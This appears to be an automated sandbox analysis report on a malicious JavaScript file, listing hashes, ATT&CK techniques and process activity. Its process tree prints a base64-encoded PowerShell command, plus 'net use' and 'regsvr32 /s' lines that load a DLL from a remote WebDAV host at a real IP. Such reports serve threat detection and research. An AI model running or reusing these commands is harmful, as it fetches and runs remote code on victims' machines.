dc6f76d2b18f3e99b12a984d23764cb2a96652c4de35df8e521178501100a5c8

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 12:20

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General

Target

7858290454868466.js
Size

657KB
MD5

be15ae9aeaea57daad4f5add8f34e761
SHA1

2bb89396ca958fd150739deda653efa0a649dd87
SHA256

e4a50bc6e27700e1db6abebd5ed70c30d50494afa15fffad3c7501d59c9f652d
SHA512

e6de08b3b30e9a9d87bc210e87aa4ed37954770332f134d9fa35a496202596642acf3d4c5667605b6eaf941306f800c5622c9475c4aa60d4af22b1fad421dc29
SSDEEP

6144:gTJeZYu1ddZ+Yih114+NAn1XlIcsnQw/KvZJ6+j/mQEyJ6+j/mb03pX5:PKPNArAfi1

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2528 wrote to memory of 2124	2528	wscript.exe	30
PID 2528 wrote to memory of 2124	2528	wscript.exe	30
PID 2528 wrote to memory of 2124	2528	wscript.exe	30
PID 2124 wrote to memory of 2788	2124	powershell.exe	33
PID 2124 wrote to memory of 2788	2124	powershell.exe	33
PID 2124 wrote to memory of 2788	2124	powershell.exe	33
PID 2124 wrote to memory of 2872	2124	powershell.exe	34
PID 2124 wrote to memory of 2872	2124	powershell.exe	34
PID 2124 wrote to memory of 2872	2124	powershell.exe	34
PID 2124 wrote to memory of 2872	2124	powershell.exe	34
PID 2124 wrote to memory of 2872	2124	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7858290454868466.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA7AHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADcANAAxADQAMwAwADIAMwA5ADkAMAA5ADQALgBkAGwAbAA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.79@8888\davwwwroot\
    3⤵
    PID:2788
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\94.159.113.79@8888\davwwwroot\17414302399094.dll
    3⤵
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2124-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

Filesize
4KB

Download
memory/2124-5-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2124-6-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/2124-7-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-8-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-9-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-10-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2124-11-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download